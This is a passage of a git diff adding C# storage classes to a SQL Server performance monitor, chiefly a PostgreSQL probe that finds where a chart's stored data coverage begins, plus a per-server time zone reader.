--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/DarlingServerClocksReader.cs
@@ -0,0 +1,84 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Analysis.Baselines;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// Each server's clock from its newest <c>server_properties</c> row that has an offset (the time zone id alongside it
+/// where the store has the V134 column, else the offset alone), keyed by server id. A server with no row is absent,
+/// and its stored times are read as UTC. With a server id it reads that one server (#4766).
+/// </summary>
+public static class DarlingServerClocksReader
+{
+    /// <summary>
+    /// The clocks, one per server (or the one asked for). A store below V134 has no <c>time_zone_id</c>: that read
+    /// falls back to the offset alone.
+    /// </summary>
+    public static async Task<Dictionary<int, ServerClock>> GetAsync(
+        NpgsqlDataSource dataSource, int? serverId, int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        try
+        {
+            return await ReadAsync(dataSource, BuildSql(serverId.HasValue, withZone: true), serverId, withZone: true, commandTimeoutSeconds, cancellationToken);
+        }
+        catch (PostgresException ex) when (ex.SqlState == PostgresErrorCodes.UndefinedColumn)
+        {
+            return await ReadAsync(dataSource, BuildSql(serverId.HasValue, withZone: false), serverId, withZone: false, commandTimeoutSeconds, cancellationToken);
+        }
+    }
+
+    /// <summary>The statement: $1 is the server id when <paramref name="scopedToServer"/>.</summary>
+    public static string BuildSql(bool scopedToServer, bool withZone)
+    {
+        var zone = withZone ? ",\n    time_zone_id" : "";
+        var scope = scopedToServer ? "AND   server_id = $1\n" : "";
+        return $@"
+SELECT DISTINCT ON (server_id)
+    server_id,
+    utc_offset_minutes{zone}
+FROM server_properties
+WHERE utc_offset_minutes IS NOT NULL
+{scope}ORDER BY server_id, collection_time DESC";
+    }
+
+    /// <summary><paramref name="serverId"/>'s entry in <paramref name="clocks"/>, else the UTC clock.</summary>
+    public static ServerClock ClockFor(IReadOnlyDictionary<int, ServerClock> clocks, int serverId)
+    {
+        System.ArgumentNullException.ThrowIfNull(clocks);
+        return clocks.TryGetValue(serverId, out var known) ? known : ServerClock.Utc;
+    }
+
+    private static async Task<Dictionary<int, ServerClock>> ReadAsync(
+        NpgsqlDataSource dataSource, string sql, int? serverId, bool withZone, int commandTimeoutSeconds, CancellationToken cancellationToken)
+    {
+        var clocks = new Dictionary<int, ServerClock>();
+
+        await using var command = dataSource.CreateCommand(sql);
+        command.CommandTimeout = commandTimeoutSeconds;
+        if (serverId.HasValue)
+        {
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId.Value });
+        }
+
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            clocks[reader.GetInt32(0)] = ServerClock.Resolve(
+                withZone && !reader.IsDBNull(2) ? reader.GetString(2) : null,
+                reader.IsDBNull(1) ? null : reader.GetInt32(1));
+        }
+
+        return clocks;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DataWindowFloor.cs b/Darling/PerformanceMonitor.Darling.Storage/DataWindowFloor.cs
new file mode 100644
index 0000000000..86e459c940
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/DataWindowFloor.cs
@@ -0,0 +1,521 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// Where a read's coverage starts: the instant from which the store holds everything the table's collector wrote for
+/// the servers in scope. A chart over 30 days of a table that keeps 7 draws 7 days; this is the instant its caller
+/// compares with the window's start (<see cref="RawWindowFloor.IsTruncated"/>) to say so. The cause does not matter
+/// here: retention and a server added last week look the same, and none is guessed.
+///
+/// <para><b>Why coverage, not the oldest row.</b> waiting_tasks and query_snapshots hold a row only while something
+/// waits or runs. A server idle overnight, whose older rows the purge dropped, has its first row hours after a 7-day
+/// window starts, and a server whose first waiting task came 3 days ago has none before that, though the store
+/// covered both windows whole. So each server's coverage starts at the later of two instants, and its rows only
+/// ever move that earlier:</para>
+/// <list type="bullet">
+/// <item><b>Its first collection:</b> the registry's <c>created_date</c>, the server's first successful connect. The
+/// service writes it once and no purge touches <c>collect.servers</c>, so it outlives every table. collection_log is
+/// not used for it: it keeps 60 days, and a fleet override can keep a table longer, so the log can forget a first
+/// run the table still covers. Every collector runs after the first connect, so this never comes after the real
+/// first collection; a collector turned on later reads as covered from the connect (no notice, never a false
+/// one).</item>
+/// <item><b>The table's edge:</b> where the table's own rows start. For a collector table the schedule governs
+/// as written, it is the purge's cutoff: the probe's clock less the collector's fleet retention days (the fleet
+/// override in <c>config.config_collector_schedules</c>, else <see cref="CollectorScheduleDefaults"/>, as
+/// <see cref="DarlingRetentionHorizons.ResolveFleetRetentionDays"/> resolves it). The purge applies one horizon
+/// to the whole table (per-server overrides never reach it), so this is the same for every server, and it does
+/// not depend on a row or a chunk surviving near it. The schedule gives no edge to three kinds of source: a
+/// rollup (the tier notice measures each tier's reach), the raw relations the gated purge owns, and the
+/// collectors whose purge horizon is floored at the baseline window
+/// (<see cref="DarlingRetentionHorizons.BaselineServingRawCollectors"/>). For those the edge is the oldest row
+/// the server holds at or before the window's end, the rule this probe applied before it read coverage, and it
+/// stands for the server's whole coverage (a row proves the store held the server from that row on; the first
+/// collection serves only a server with no row at all). That is right for these tables because they are dense:
+/// every collection, or every hour of a rollup, writes a row for a server that is running, so the oldest row is
+/// where the table's coverage starts and a quiet start is not in play. Reading coverage from the first
+/// collection alone would give an old server no notice at all, however long before anything the table keeps the
+/// window starts; and on the web the tier notice covers a rollup route on a TimescaleDB store, but not these
+/// collectors, and not a store without TimescaleDB, so these panels would lose the notice they had. That keeps
+/// a walk to the table's oldest chunk (see <see cref="FloorSql"/>).</item>
+/// <item><b>Its first row in the window:</b> a row proves the store covered the server from that row on.</item>
+/// </list>
+///
+/// <para><b>Which servers count.</b> A server counts when it holds a row in [start, end] or, for a collector
+/// table, when collection_log records a run of the collector for it in [start, end]. A server stopped or removed
+/// before the window (its registry row and history stay) does not count, so its old rows cannot hide a newer
+/// server's late start on a fleet panel. The answer is the earliest coverage start among the servers that count,
+/// and null when none counts: the window holds nothing, and an empty panel already says so. It is null too when
+/// that start is at or after the window's end (<see cref="GetAsync"/>): collection_log outlives a table the purge
+/// keeps shorter, so a logged run makes a server count in a window whose rows are gone, and its coverage, the
+/// purge's edge, starts after the window ended.</para>
+///
+/// <para><b>Why per server, through <c>collect.servers</c>.</b> Every collect table a panel reads is indexed on
+/// <c>(server_id, time)</c> (the two config snapshot tables are the exception: they hold one snapshot per server a
+/// day and are read bounded by the window), every continuous aggregate a panel reads keeps <c>(server_id, bucket)</c>,
+/// and collection_log keeps <c>(server_id, collection_time)</c>. A LATERAL per registered server reads
+/// the first index entry inside the window, so only the window's chunks are probed; the walk to a source with no
+/// schedule edge runs only for a server that counts, and stops at the oldest chunk that holds the server.
+/// Filtering the fact table by <c>server_name</c>, as a panel's own read does, has no index to use. So the probe
+/// answers per server identity, through the registry's current name and <c>server_id</c>, while the panel's read
+/// filters fact rows by their stored <c>server_name</c>: for a renamed server, rows written before the rename
+/// count toward coverage even though the panel's filter misses them.</para>
+///
+/// <para><b>Why this lives in Storage.</b> The web viewer's Custom Views runner and the desktop viewer's server tab
+/// both ask it, and the viewer does not reference the service assembly (#1661 / #2530), the same reason
+/// <see cref="RawWindowFloor"/> lives here.</para>
+/// </summary>
+public static class DataWindowFloor
+{
+    /// <summary>
+    /// One relation the probe reads, with the column its rows are stamped on. Built only by the factories, which
+    /// check the name against the collector catalog or the rollup registry, so nothing outside those two lists is
+    /// ever spliced into the probe's SQL.
+    /// </summary>
+    public sealed class Source
+    {
+        private Source(
+            string relation, string timeColumn, bool endExclusive, string? collectorName = null, int? retentionDefaultDays = null,
+            DateTime? lowerBoundUtc = null, string? logCollectorName = null, bool pairsCollectionTime = false)
+        {
+            Relation = relation;
+            TimeColumn = timeColumn;
+            EndExclusive = endExclusive;
+            CollectorName = collectorName;
+            RetentionDefaultDays = retentionDefaultDays;
+            LowerBoundUtc = lowerBoundUtc;
+            LogCollectorName = logCollectorName;
+            PairsCollectionTime = pairsCollectionTime;
+        }
+
+        /// <summary>
+        /// The one collector whose runs a collection-log source counts (#5022), lower case as the log stores it; null for every
+        /// other source, and for the log read whole (<see cref="ForCollectionLog"/>). The window read and the server count both
+        /// look only at that collector's runs, so a server that logged other collectors' runs but never ran this one does not count,
+        /// and its other runs cannot move the answer earlier. Only <see cref="ForCollectorRuns"/> sets it, from a name the collector
+        /// catalog lists, so it is spliced into the probe's SQL like <see cref="CollectorName"/>.
+        /// </summary>
+        public string? LogCollectorName { get; }
+
+        /// <summary>
+        /// True when the window read pairs the time column with a <c>collection_time</c> floor (#5022): the table is partitioned on
+        /// <c>collection_time</c> but indexed and read on another column (the memory pressure events' <c>sample_time</c>), so a bound
+        /// on that column alone gives the planner nothing to skip a chunk on. The floor is the window's start less
+        /// <see cref="EventWindowFloor.SkewAllowance"/>, the chart's own pairing (<see cref="EventWindowFloor.For"/>), and cannot drop
+        /// a row the window holds: a sample is collected at or after its own stamp, bar the skew the allowance covers.
+        /// </summary>
+        public bool PairsCollectionTime { get; }
+
+        /// <summary>
+        /// The instant (naive UTC) from which a panel reads this relation, when it reads only from there up: the
+        /// successor half of a stitched rollup read, which the stitched clause takes from the stitch boundary up.
+        /// Null when the panel reads the relation whole. The window read and the oldest-row walk both start at the
+        /// bound, so a bucket the relation holds below it (a wide refresh after the boundary was measured), which the
+        /// panel did not read, moves neither the answer nor a server's coverage. Bound as a parameter, never spliced
+        /// (<see cref="FloorSql"/>). Only a rollup carries one (<see cref="TryForRollup"/>), and a rollup has no
+        /// schedule edge, so the bound always applies to the walk.
+        /// </summary>
+        public DateTime? LowerBoundUtc { get; }
+
+        /// <summary>
+        /// The collector that writes the table, whose runs collection_log records; null for a rollup, which no
+        /// collector writes, and for the collection log itself.
+        /// </summary>
+        public string? CollectorName { get; }
+
+        /// <summary>
+        /// The collector's default retention days, when the probe reads the table's retention edge from the
+        /// schedule, or the collection log's fixed horizon; null when the schedule gives no edge (a rollup, a raw
+        /// relation the gated purge owns, a collector whose purge horizon is floored at the baseline window), and the
+        /// probe walks to the oldest row the server holds at or before the window's end instead.
+        /// </summary>
+        public int? RetentionDefaultDays { get; }
+
+        /// <summary>The unqualified <c>collect.*</c> relation name.</summary>
+        public string Relation { get; }
+
+        /// <summary>The column the probe orders and bounds on.</summary>
+        public string TimeColumn { get; }
+
+        /// <summary>
+        /// True for a rollup: a bucket is stamped at its START, so a bucket at the window's end lies after the
+        /// window, the same end-exclusive rule the Custom Views compiler applies to a rollup read.
+        /// </summary>
+        public bool EndExclusive { get; }
+
+        /// <summary>
+        /// The two config snapshot tables the probe reads without an index: they hold one snapshot per server a day,
+        /// and every read of them here carries the window's bounds, so TimescaleDB reads only the window's chunks and
+        /// the oldest-row walk (which would read the whole table) never applies to them.
+        /// </summary>
+        private static readonly HashSet<string> s_configSnapshotTables =
+            new HashSet<string>(StringComparer.Ordinal) { "server_config", "database_config" };
+
+        /// <summary>
+        /// The raw collector table <paramref name="table"/>, or false when the catalog does not list it or its
+        /// index does not lead with <c>(server_id, time)</c> (<see cref="PgSchemaGenerator.CreateIndex"/>), unless it
+        /// is a config snapshot table (<c>server_config</c>, <c>database_config</c>), which has no index and is read
+        /// bounded by the window. index_object_stats orders a server's rows by object before time, so the probe
+        /// would read every row the server holds; it is not probed. The collection log is not a collector table
+        /// (<see cref="ForCollectionLog"/>).
+        /// </summary>
+        public static bool TryForCollectorTable(string table, out Source source)
+        {
+            source = null!;
+            var schema = CollectorCatalog.All.FirstOrDefault(c => string.Equals(c.TargetTable, table, StringComparison.Ordinal));
+            if (schema is null
+                || (PgSchemaGenerator.CreateIndex(schema)?.EndsWith($"(server_id, {schema.PrefixTimeColumnName});", StringComparison.Ordinal) != true
+                    && !s_configSnapshotTables.Contains(schema.TargetTable)))
+            {
+                return false;
+            }
+
+            /* The schedule's horizon is the purge's only where the daily sweep applies it as written: the gated
+               purge owns the raw relations under TimescaleDB, and the baseline-serving collectors are floored at
+               the baseline window. */
+            int? retentionDefaultDays =
+                !TimescaleSupport.RawRelations.Contains(schema.TargetTable)
+                && !DarlingRetentionHorizons.BaselineServingRawCollectors.Contains(schema.Name)
+                && CollectorScheduleDefaults.All.TryGetValue(schema.Name, out var schedule)
+                    ? schedule.RetentionDays
+                    : null;
+            source = new Source(schema.TargetTable, schema.PrefixTimeColumnName, endExclusive: false, schema.Name, retentionDefaultDays);
+            return true;
+        }
+
+        /// <summary><see cref="TryForCollectorTable"/>, throwing for a table it refuses.</summary>
+        public static Source ForCollectorTable(string table) =>
+            TryForCollectorTable(table, out var source)
+                ? source
+                : throw new ArgumentException($"'{table}' is not a collector table the data-start probe can read.", nameof(table));
+
+        /// <summary>
+        /// The collection log itself, the run record every collector writes a row to and the Collection Log grids show.
+        /// It is not a collector table, so <see cref="TryForCollectorTable"/> refuses it and this is its factory. Its
+        /// edge is its own fixed horizon (<see cref="DarlingRetentionHorizons.CollectionLogRetentionDays"/>, the
+        /// purge's constant, which no schedule row moves), and a server counts by its own rows in the window, since
+        /// no other log records the log's runs. The window read rides <c>idx_collection_log_time (server_id,
+        /// collection_time)</c>: one index descent per server, never a scan of the log.
+        /// </summary>
+        public static Source ForCollectionLog() =>
+            new("collection_log", "collection_time", endExclusive: false, retentionDefaultDays: DarlingRetentionHorizons.CollectionLogRetentionDays);
+
+        /// <summary>
+        /// The collection log narrowed to the runs of ONE collector (#5022): <see cref="ForCollectionLog"/> with the collector's name
+        /// on the window read and on the server count, for a panel whose figures come from that collector's runs alone. The unscoped
+        /// log counts any collector's run, so a server that logged other collectors' runs but never ran this one would get a
+        /// "Showing since" note above an empty panel. It keeps the log's own fixed horizon and edge, and the window read rides
+        /// <c>idx_collection_log_watermark (server_id, collector_name, collection_time DESC)</c>. The Collection Log grid and drill
+        /// want every collector's runs and keep <see cref="ForCollectionLog"/>.
+        /// </summary>
+        /// <param name="collectorName">A collector the catalog lists, in any case.</param>
+        public static Source ForCollectorRuns(string collectorName)
+        {
+            var schema = CollectorCatalog.All.FirstOrDefault(c => string.Equals(c.Name, collectorName, StringComparison.OrdinalIgnoreCase))
+                ?? throw new ArgumentException($"'{collectorName}' is not a collector the data-start probe can read the runs of.", nameof(collectorName));
+            return new Source(
+                "collection_log", "collection_time", endExclusive: false, retentionDefaultDays: DarlingRetentionHorizons.CollectionLogRetentionDays,
+                logCollectorName: schema.Name.ToLowerInvariant());
+        }
+
+        /// <summary>
+        /// The memory pressure events table, probed on its payload's own <c>sample_time</c> (#4966). <see cref="TryForCollectorTable"/>
+        /// refuses it, and must keep refusing: its index is <c>(server_id, sample_time)</c>, not its prefix time column
+        /// (<c>collection_time</c>, the partition column the purge cuts on), so the generic factory would probe a column the index does
+        /// not lead with. The chart's read windows on <c>sample_time</c> through that index, and so does this probe.
+        ///
+        /// <para><b>Its edge is the purge's cutoff, never its oldest row.</b> The table is SPARSE: a server goes days with no pressure
+        /// event, so a walk to its oldest row would name the first event after a quiet stretch as where the store begins, a false note on
+        /// a range the store covered whole. The table is in neither group the schedule gives no edge to
+        /// (<see cref="TimescaleSupport.RawRelations"/> is the three raw relations of the gated purge,
+        /// <see cref="DarlingRetentionHorizons.BaselineServingRawCollectors"/> the baseline-floored collectors), so the daily sweep
+        /// applies the schedule's horizon as written: the fleet override in <c>config.config_collector_schedules</c>, else
+        /// <see cref="CollectorScheduleDefaults"/> (30 days). The later of that cutoff and the server's first collection is where
+        /// coverage starts, moved earlier by an event stamped in the window (an event can carry a time from before the first
+        /// collection: the first collection stores the ring buffer's history). A server counts by an event in the window or a logged run
+        /// of the collector in it.</para>
+        ///
+        /// <para><b>Its window read pairs <c>sample_time</c> with a <c>collection_time</c> floor</b> (<see cref="PairsCollectionTime"/>, #5022),
+        /// as the chart's own read does (<see cref="EventWindowFloor"/>). The probe asks only for the first event stamped inside the
+        /// window, never for one from before it (the edge above is the schedule's, not a walk), so the floor cannot drop an answer, and it
+        /// lets TimescaleDB skip every chunk collected more than the skew allowance before the window, which a bound on <c>sample_time</c>
+        /// alone does not.</para>
+        /// </summary>
+        public static Source ForMemoryPressureEvents()
+        {
+            var schema = CollectorCatalog.All.Single(c => string.Equals(c.TargetTable, "memory_pressure_events", StringComparison.Ordinal));
+            return new Source(
+                schema.TargetTable, "sample_time", endExclusive: false, schema.Name, CollectorScheduleDefaults.All[schema.Name].RetentionDays,
+                pairsCollectionTime: true);
+        }
+
+        /// <summary>
+        /// The continuous aggregate <paramref name="view"/>, or false when <see cref="RollupAvailability"/> does not
+        /// know the name. Every rollup a panel reads keeps a <c>(server_id, bucket)</c> index.
+        /// <paramref name="lowerBoundUtc"/> is set for a rollup the panel reads only from that instant up
+        /// (<see cref="LowerBoundUtc"/>), and null for one it reads whole.
+        /// </summary>
+        public static bool TryForRollup(string view, out Source source, DateTime? lowerBoundUtc = null)
+        {
+            source = null!;
+            if (string.IsNullOrEmpty(view) || !RollupAvailability.All.Has(view))
+            {
+                return false;
+            }
+
+            source = new Source(view, "bucket", endExclusive: true, lowerBoundUtc: lowerBoundUtc);
+            return true;
+        }
+    }
+
+    /// <summary>Which servers the probe asks about.</summary>
+    public enum Scope
+    {
+        /// <summary>Every registered server: a fleet-wide panel.</summary>
+        Fleet,
+
+        /// <summary>The servers named in <c>$4</c> (<c>text[]</c>): a panel scoped by name.</summary>
+        ServerNames,
+
+        /// <summary>The one server in <c>$4</c> (<c>int</c>): the desktop viewer's server tab.</summary>
+        ServerId,
+    }
+
+    /// <summary>
+    /// The probe over <paramref name="sources"/>: $1 the window's end, $2 its start, $3 the probe's clock (all naive
+    /// UTC), $4 the scope's servers when <paramref name="scope"/> names any. Several sources (the two halves of a
+    /// stitched rollup read) are probed side by side and the earliest answer wins. One arm per source, over the
+    /// servers that count (a row in [$2, $1], or a logged run of the collector there). For a source the schedule
+    /// governs: the later of the purge cutoff and the server's first collection, moved earlier by its first row in
+    /// the window. For one it does not (see <see cref="Source.RetentionDefaultDays"/>): the oldest row the server
+    /// holds at or before the window's end, a walk unbounded below that runs only for a server that counts, and
+    /// the server's first collection when it holds no row at all.
+    ///
+    /// <para>A source that reads its relation only from an instant up (<see cref="Source.LowerBoundUtc"/>) takes that
+    /// instant as a further parameter, naive UTC, numbered after the scope's ($4 for a fleet probe, $5 otherwise, then
+    /// one more for each such source in order), and starts both its window read and its walk there. Binding them is
+    /// the caller's: <see cref="GetAsync"/> and <see cref="GetForServerAsync"/> add them in that order.</para>
+    /// </summary>
+    public static string FloorSql(IReadOnlyList<Source> sources, Scope scope)
+    {
+        ArgumentNullException.ThrowIfNull(sources);
+        if (sources.Count == 0)
+        {
+            throw new ArgumentException("the data-start probe needs at least one source.", nameof(sources));
+        }
+
+        var scopeClause = scope switch
+        {
+            Scope.Fleet => null,
+            Scope.ServerNames => "s.server_name = ANY($4)",
+            Scope.ServerId => "s.server_id = $4",
+            _ => throw new ArgumentOutOfRangeException(nameof(scope), scope, "unknown data-start scope"),
+        };
+
+        var schema = PgSchemaGenerator.CollectSchema;
+        var sql = new StringBuilder();
+        sql.Append("SELECT MIN(u.t)\nFROM\n(\n");
+        var nextBoundParameter = scope == Scope.Fleet ? 4 : 5;
+        for (var i = 0; i < sources.Count; i++)
+        {
+            var source = sources[i];
+            if (i > 0)
+            {
+                sql.Append("    UNION ALL\n");
+            }
+
+            /* The collector name and the default days come from the collector catalog and its schedule table,
+               never from a caller, so splicing them is safe (Source's factories are the only constructors). */
+            var collector = source.CollectorName?.ToLowerInvariant();
+            var time = source.TimeColumn;
+            var endBound = source.EndExclusive ? " < $1" : " <= $1";
+
+            /* A relation the panel reads only from an instant up starts there, in the window read and in the walk, so
+               a row it holds below that instant (one the panel did not read) moves neither. The instant is a bind
+               parameter, numbered after the scope's; the caller adds the values in the same order. */
+            var lowerBound = source.LowerBoundUtc is null
+                ? null
+                : "$" + (nextBoundParameter++).ToString(System.Globalization.CultureInfo.InvariantCulture);
+
+            string coverage;
+            if (source.RetentionDefaultDays is int days)
+            {
+                /* The table's edge is the purge cutoff: the schedule's horizon is the purge's, as written (the
+                   collection log's is its own fixed constant, with no schedule row to ask). The later of it and the
+                   server's first collection is where coverage starts; a row older than it moves the answer earlier. */
+                var horizon = collector is null
+                    ? days.ToString(System.Globalization.CultureInfo.InvariantCulture)
+                    : $"COALESCE((SELECT o.retention_days FROM config.config_collector_schedules AS o WHERE o.server_id IS NULL AND lower(o.collector_name) = '{collector}' AND o.retention_days >= 1 LIMIT 1), {days.ToString(System.Globalization.CultureInfo.InvariantCulture)})";
+                coverage = $"GREATEST($3 - make_interval(days => {horizon}), s.created_date)";
+            }
+            else
+            {
+                /* No schedule edge (a rollup, a raw relation the gated purge owns, a baseline-floored collector): the
+                   edge is the oldest row the server holds at or before the window's end, the rule before this probe
+                   read coverage. Right for these dense tables, where a running server writes a row every collection
+                   (every hour, for a rollup), so the oldest row IS where the table's coverage starts and a quiet
+                   start is not in play; and these panels would otherwise lose the notice they had (the tier notice
+                   covers a rollup route on a TimescaleDB store, not these collectors, and not a store without
+                   TimescaleDB). Unbounded below, so the walk starts at the table's oldest chunk. It sits in the select
+                   list, so it runs only for a server that survives the WHERE below (one that counts). With no row at
+                   all, coverage falls back to the server's first collection. */
+                var walkLowerBound = lowerBound is null ? string.Empty : $" AND h.{time} >= {lowerBound}";
+                coverage = $"COALESCE((SELECT h.{time} FROM {schema}.{source.Relation} AS h WHERE h.server_id = s.server_id AND h.{time}{endBound}{walkLowerBound} ORDER BY h.{time} LIMIT 1), s.created_date)";
+            }
+
+            sql.Append("    SELECT LEAST(").Append(coverage).Append(", w.t) AS t\n");
+            sql.Append("    FROM ").Append(schema).Append(".servers AS s\n");
+            sql.Append("    LEFT JOIN LATERAL\n");
+            sql.Append("    (\n");
+            sql.Append("        SELECT f.").Append(time).Append(" AS t\n");
+            sql.Append("        FROM ").Append(schema).Append('.').Append(source.Relation).Append(" AS f\n");
+            sql.Append("        WHERE f.server_id = s.server_id\n");
+            if (source.LogCollectorName is { } logCollector)
+            {
+                /* #5022: one collector's runs, not every collector's. The name comes from the collector catalog (ForCollectorRuns checks
+                   it), never from a caller, so splicing it is safe. */
+                sql.Append("        AND   f.collector_name = '").Append(logCollector).Append("'\n");
+            }
+
+            sql.Append("        AND   f.").Append(time).Append(" >= $2\n");
+            if (source.PairsCollectionTime)
+            {
+                /* #5022: the table is partitioned on collection_time, so the time column's bound alone skips no chunk. The floor is
+                   EventWindowFloor.For($2) in SQL: a row is collected at or after its own stamp, bar the skew the allowance covers. */
+                sql.Append("        AND   f.collection_time >= $2 - make_interval(secs => ")
+                    .Append(((long)EventWindowFloor.SkewAllowance.TotalSeconds).ToString(System.Globalization.CultureInfo.InvariantCulture))
+                    .Append(")\n");
+            }
+
+            if (lowerBound is not null)
+            {
+                sql.Append("        AND   f.").Append(time).Append(" >= ").Append(lowerBound).Append('\n');
+            }
+
+            sql.Append("        AND   f.").Append(time).Append(endBound).Append('\n');
+            sql.Append("        ORDER BY f.").Append(time).Append('\n');
+            sql.Append("        LIMIT 1\n");
+            sql.Append("    ) AS w ON TRUE\n");
+            sql.Append("    WHERE (w.t IS NOT NULL");
+            if (collector is not null)
+            {
+                sql.Append("\n           OR EXISTS (SELECT 1 FROM ").Append(schema).Append(".collection_log AS c WHERE c.server_id = s.server_id AND c.collector_name = '")
+                    .Append(collector).Append("' AND c.collection_time >= $2 AND c.collection_time <= $1)");
+            }
+
+            sql.Append(")\n");
+            if (scopeClause is not null)
+            {
+                sql.Append("    AND   ").Append(scopeClause).Append('\n');
+            }
+        }
+
+        sql.Append(") AS u");
+        return sql.ToString();
+    }
+
+    /// <summary>
+    /// Where coverage starts for the servers named in <paramref name="serverNames"/>, or for every registered server
+    /// when it is null or empty: the earliest coverage start among the servers that hold a row, or logged a run, in
+    /// [<paramref name="startUtc"/>, <paramref name="endUtc"/>]. At or before the start means the window is covered,
+    /// whether or not it holds rows. Null when no server in scope counts, which the caller reads as "nothing to
+    /// report": an empty panel already says so.
+    ///
+    /// <para>Null too when that start is at or after <paramref name="endUtc"/>: the window lies wholly before the
+    /// coverage, so there is none to report. The run log outlives a table the purge keeps shorter (a schedule-edge
+    /// source drops its rows after days, <c>collection_log</c> keeps weeks more), so a window whose rows are all
+    /// purged still counts for a server through the runs logged in it, and the coverage found then is the purge
+    /// edge, which comes after the window ends. A start past the window's own end would read as a notice that
+    /// "covers" a span running backwards, and as a "Showing since" banner naming a time after its own range.</para>
+    /// </summary>
+    public static async Task<DateTime?> GetAsync(
+        NpgsqlDataSource postgres, IReadOnlyList<Source> sources, IReadOnlyList<string>? serverNames, DateTime startUtc, DateTime endUtc,
+        int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(postgres);
+
+        var scoped = serverNames is { Count: > 0 };
+        await using var command = postgres.CreateCommand(FloorSql(sources, scoped ? Scope.ServerNames : Scope.Fleet));
+        command.CommandTimeout = commandTimeoutSeconds;
+        AddWindow(command, startUtc, endUtc);
+        if (scoped)
+        {
+            command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text, Value = serverNames!.ToArray() });
+        }
+
+        AddLowerBounds(command, sources);
+
+        return CoverageWithin(await command.ExecuteScalarAsync(cancellationToken), endUtc);
+    }
+
+    /// <summary>
+    /// Where coverage of <paramref name="source"/> starts for one server: the desktop viewer's server-tab form of
+    /// <see cref="GetAsync"/>, with the same answers, null included for a window wholly before the coverage (the run
+    /// log outlives the table, so a logged run there makes the server count though its rows are gone).
+    /// </summary>
+    public static async Task<DateTime?> GetForServerAsync(
+        NpgsqlDataSource postgres, Source source, int serverId, DateTime startUtc, DateTime endUtc,
+        int commandTimeoutSeconds, CancellationToken cancellationToken = default)
+    {
+        ArgumentNullException.ThrowIfNull(postgres);
+        ArgumentNullException.ThrowIfNull(source);
+
+        /* #4966: a window no longer than the truncation slack can never get a coverage note. The answer is at or before the window's
+           end, and RawWindowFloor.IsTruncated needs it MORE than the slack after the window's start, so the tab's banner could not
+           show it. The probe would read the store for nothing: it starts no query. */
+        if (endUtc - startUtc <= DurationTrendRouting.TruncationSlack)
+        {
+            return null;
+        }
+
+        await using var command = postgres.CreateCommand(FloorSql([source], Scope.ServerId));
+        command.CommandTimeout = commandTimeoutSeconds;
+        AddWindow(command, startUtc, endUtc);
+        command.Parameters.AddWithValue(serverId);
+        AddLowerBounds(command, [source]);
+
+        return CoverageWithin(await command.ExecuteScalarAsync(cancellationToken), endUtc);
+    }
+
+    /* The probe's answer when it starts before the window's end, null otherwise (and for no answer at all). */
+    private static DateTime? CoverageWithin(object? value, DateTime endUtc) =>
+        value is DateTime start && start < endUtc ? start : null;
+
+    /* SpecifyKind(Unspecified), not the bare value: Npgsql infers timestamptz from Kind=Utc and PostgreSQL then
+       zone-shifts the bounds against the store's NAIVE timestamp columns (RawWindowFloor.GetAsync says the same). */
+    private static void AddWindow(NpgsqlCommand command, DateTime startUtc, DateTime endUtc)
+    {
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(startUtc, DateTimeKind.Unspecified));
+        command.Parameters.AddWithValue(DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified));
+    }
+
+    /* One parameter per source that reads its relation only from an instant up, in source order, after the scope's:
+       the numbering FloorSql gave them. Unspecified for the same reason as the window's bounds. */
+    private static void AddLowerBounds(NpgsqlCommand command, IReadOnlyList<Source> sources)
+    {
+        foreach (var source in sources)
+        {
+            if (source.LowerBoundUtc is DateTime lowerBound)
+            {
+                command.Parameters.AddWithValue(DateTime.SpecifyKind(lowerBound, DateTimeKind.Unspecified));
+            }
+        }
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/DatabaseFilter.cs b/Darling/PerformanceMonitor.Darling.Storage/DatabaseFilter.cs
new file mode 100644
index 0000000000..058fedb148
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/DatabaseFilter.cs
@@ -0,0 +1,156 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using Npgsql;
+using NpgsqlTypes;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// #5245: which databases a database-scoped read covers. A set of names, and an empty set means every database,
+/// so <c>default</c> is "all".
+///
+/// <para><b>One rule for a blank name.</b> A null, empty or whitespace-only name means "no name", so
+/// <see cref="One"/> of such a value is <see cref="All"/>, and <see cref="Of"/> drops such values from a list
+/// (a list with nothing else left is <see cref="All"/>). Every other name is kept exactly as given: it is never
+/// trimmed and never case-folded, because the SQL arm compares it with <c>=</c> and a database called
+/// <c> SalesDb</c> (leading space) is not <c>SalesDb</c>. A repeated name is kept once, in the order first seen.
